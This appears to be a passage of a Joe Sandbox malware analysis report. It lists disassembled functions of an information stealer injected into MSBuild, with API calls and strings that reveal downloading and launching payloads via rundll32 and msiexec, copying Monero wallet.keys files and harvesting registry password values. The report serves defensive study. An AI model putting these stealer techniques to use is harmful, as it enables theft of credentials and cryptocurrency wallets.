Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: dd6617512d8e06e62f9c4619fa979c9d7048b8557595c82cd813ea9da7bb7c9e
Instruction ID: f03ee3f6de4a678c4a24becac03c3675d5d4362b87af83515ad79f9b006405b7
Opcode Fuzzy Hash: dd6617512d8e06e62f9c4619fa979c9d7048b8557595c82cd813ea9da7bb7c9e
Instruction Fuzzy Hash: B4813E75911118ABEB24DF50CD81FEAB7B9FF08714F008299E109A6180DF756BC6CFA5

Function 00406280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
Part of subcall function 004047B0: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404839
Part of subcall function 004047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

InternetOpenA.WININET(00420DFE,00000001,00000000,00000000,00000000), ref: 004062E1
StrCmpCA.SHLWAPI(?,01354E80), ref: 00406303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406335
HttpOpenRequestA.WININET(00000000,GET,?,01356400,00000000,00000000,00400100,00000000), ref: 00406385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 004063BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 004063D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 004063FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040646D
InternetCloseHandle.WININET(00000000), ref: 004064EF
InternetCloseHandle.WININET(00000000), ref: 004064F9
InternetCloseHandle.WININET(00000000), ref: 00406503

Strings

GET, xrefs: 0040637C
ERROR, xrefs: 00406407
ERROR, xrefs: 004064C9

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Internet$??2@CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3074848878-2509457195
Opcode ID: b0c7de0145d63b70ce53b1e8b83d9b49617bc25b5baf4ddabad6d870445ee4ad
Instruction ID: 4c22ad93782da972e928cd377ef6cc95e5ae9f8df18decad01f21c65d1bf8a87
Opcode Fuzzy Hash: b0c7de0145d63b70ce53b1e8b83d9b49617bc25b5baf4ddabad6d870445ee4ad
Instruction Fuzzy Hash: C1718075A00218ABDB24EFE0DC49BEE7775FB44700F10816AF50A6B1D0DBB86A85CF56

Function 00415510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,01340578,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 004156A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415857

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004151F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415228

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 004152C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415318
Part of subcall function 004152C0: lstrlenA.KERNEL32(00000000), ref: 0041532F
Part of subcall function 004152C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00415364
Part of subcall function 004152C0: lstrlenA.KERNEL32(00000000), ref: 00415383
Part of subcall function 004152C0: strtok.MSVCRT(00000000,?), ref: 0041539E
Part of subcall function 004152C0: lstrlenA.KERNEL32(00000000), ref: 004153AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0041578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415A0C
Sleep.KERNEL32(0000EA60), ref: 00415A1B

Strings

ERROR, xrefs: 00415693
ERROR, xrefs: 0041577D
ERROR, xrefs: 00415636
ERROR, xrefs: 00415932
ERROR, xrefs: 00415849
ERROR, xrefs: 004159FE

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleepstrtok
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3630751533-2791005934
Opcode ID: 8d487e1654f754ba5a0761ee3c5de5ee89a113c5c6ab67c4e72828168a8328fb
Instruction ID: 0baa471f6470c30cedeccf0ca5f41b7a1b3666a88d5ff2061c329f06e4daefd3
Opcode Fuzzy Hash: 8d487e1654f754ba5a0761ee3c5de5ee89a113c5c6ab67c4e72828168a8328fb
Instruction Fuzzy Hash: 5BE18675910104AACB04FBB1DD52EED733DAF54314F50812EB406660D1EF3CAB9ACBAA

Function 00412E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

ShellExecuteEx.SHELL32(0000003C), ref: 004131C5
ShellExecuteEx.SHELL32(0000003C), ref: 0041335D
ShellExecuteEx.SHELL32(0000003C), ref: 004134EA

Strings

<, xrefs: 00413490
.msi, xrefs: 00413398
"" , xrefs: 0041309A
.dll, xrefs: 004131E5
/passive, xrefs: 0041345B
C:\Windows\system32\rundll32.exe, xrefs: 00413332
C:\Windows\system32\msiexec.exe, xrefs: 004134BF
/i ", xrefs: 004133E4

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: 7ca998b6b529aeb001394848e85b67d7579dbc99494248e03994ec2c30538700
Instruction ID: 17233f41fb1950bff335544576ea1941aa871c2d7c6c7a5a475621d351ca9112
Opcode Fuzzy Hash: 7ca998b6b529aeb001394848e85b67d7579dbc99494248e03994ec2c30538700
Instruction Fuzzy Hash: 96125F718111089ADB09FBA1DD92FEEB778AF14314F50415EF10666091EF382BDACF6A

Function 00401310 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 139stringfileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00401327

Part of subcall function 004012A0: GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 004012B4
Part of subcall function 004012A0: HeapAlloc.KERNEL32(00000000), ref: 004012BB
Part of subcall function 004012A0: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 004012D7
Part of subcall function 004012A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012F5
Part of subcall function 004012A0: RegCloseKey.ADVAPI32(?), ref: 004012FF

lstrcatA.KERNEL32(?,00000000), ref: 0040134F
lstrlenA.KERNEL32(?), ref: 0040135C
lstrcatA.KERNEL32(?,.keys), ref: 00401377

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 00418B60: GetSystemTime.KERNEL32(?,01349A00,004205AE,?,?,?,?,?,?,?,?,?,00404963,?,00000014), ref: 00418B86

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00401465

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004099EC
Part of subcall function 004099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A11
Part of subcall function 004099C0: LocalAlloc.KERNEL32(00000040,?), ref: 00409A31
Part of subcall function 004099C0: ReadFile.KERNEL32(000000FF,?,00000000,004102E7,00000000), ref: 00409A5A
Part of subcall function 004099C0: LocalFree.KERNEL32(004102E7), ref: 00409A90
Part of subcall function 004099C0: CloseHandle.KERNEL32(000000FF), ref: 00409A9A

DeleteFileA.KERNEL32(00000000), ref: 004014EF
memset.MSVCRT ref: 00401516

Strings

SOFTWARE\monero-project\monero-core, xrefs: 00401335
\Monero\wallet.keys, xrefs: 0040138D
wallet_path, xrefs: 00401330
.keys, xrefs: 0040136B

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$AllocCloseHeapLocallstrlenmemset$CopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 1930502592-218353709
Opcode ID: 39317e8262a0c6bf4b356c8e33d2227605c61f9266290840a9bd15d469870bc1
Instruction ID: 2d64d6a561879fca44fb71c04a0a84c7ebf7a9ed2d970630d286a4d87e6dc5bb
Opcode Fuzzy Hash: 39317e8262a0c6bf4b356c8e33d2227605c61f9266290840a9bd15d469870bc1
Instruction Fuzzy Hash: 955165B1D5011897CB15FB61DD91FED733CAF54304F4041ADB60A62092EE385BDACBAA

Function 004060A0 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
Part of subcall function 004047B0: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404839
Part of subcall function 004047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

InternetOpenA.WININET(00420DF7,00000001,00000000,00000000,00000000), ref: 0040610F
StrCmpCA.SHLWAPI(?,01354E80), ref: 00406147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 0040618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 004061B3
InternetReadFile.WININET(a+A,?,00000400,?), ref: 004061DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0040620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00406249
InternetCloseHandle.WININET(a+A), ref: 00406253
InternetCloseHandle.WININET(00000000), ref: 00406260

Strings

a+A, xrefs: 004060B0, 0040617F, 00406266, 00406124, 004060B3
a+A, xrefs: 0040624F, 004061D8, 004061DB, 00406252

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Internet$??2@CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID: a+A$a+A
API String ID: 4287319946-2847607090
Opcode ID: 8e412136ec4a27f907b8c44360a338e6cf7b286a2ded7d5447bec277780c7ebd
Instruction ID: d3b4a7caf446de9355e244355c8e16b321895ac976a44b0a7cc1b08be2cc8b72
Opcode Fuzzy Hash: 8e412136ec4a27f907b8c44360a338e6cf7b286a2ded7d5447bec277780c7ebd
Instruction Fuzzy Hash: 735194B5940218ABDB20EF90DC45BEE77B9EB04305F1040ADB606B71C0DB786A85CF9A

Function 004170D0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 136COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00064000), ref: 004170DE

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

OpenProcess.KERNEL32(001FFFFF,00000000,0041730D,004205BD), ref: 0041711C
memset.MSVCRT ref: 0041716A
??_V@YAXPAX@Z.MSVCRT(?), ref: 004172BE

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 0041718C
sA, xrefs: 00417111
sA, xrefs: 004172AE, 00417179, 0041717C

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: OpenProcesslstrcpymemset
String ID: sA$sA$65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 224852652-2614523144
Opcode ID: a73ac6e1bb2c91b578430d02177e5a2f8beb51943881740cc90b8311f986bdaf
Instruction ID: ffe5c4151d56689e238fca5affca6521033e0b5082b25a646ea50ffb364ad3ac
Opcode Fuzzy Hash: a73ac6e1bb2c91b578430d02177e5a2f8beb51943881740cc90b8311f986bdaf
Instruction Fuzzy Hash: 71515FB0D04218ABDB14EB91DD85BEEB774AF04304F1040AEE61576281EB786AC9CF5D

Function 004075D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004072D0: memset.MSVCRT ref: 00407314
Part of subcall function 004072D0: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,00407C90), ref: 0040733A
Part of subcall function 004072D0: RegEnumValueA.ADVAPI32(00407C90,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 004073B1
Part of subcall function 004072D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0040740D
Part of subcall function 004072D0: GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?), ref: 00407452
Part of subcall function 004072D0: HeapFree.KERNEL32(00000000,?,?,?,?,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?), ref: 00407459

lstrcatA.KERNEL32(3364C020,004217FC,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?,?,004161C4), ref: 00407606
lstrcatA.KERNEL32(3364C020,00000000,00000000), ref: 00407648
lstrcatA.KERNEL32(3364C020, : ), ref: 0040765A
lstrcatA.KERNEL32(3364C020,00000000,00000000,00000000), ref: 0040768F
lstrcatA.KERNEL32(3364C020,00421804), ref: 004076A0
lstrcatA.KERNEL32(3364C020,00000000,00000000,00000000), ref: 004076D3
lstrcatA.KERNEL32(3364C020,00421808), ref: 004076ED
task.LIBCPMTD ref: 004076FB

Strings

: , xrefs: 0040764E

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
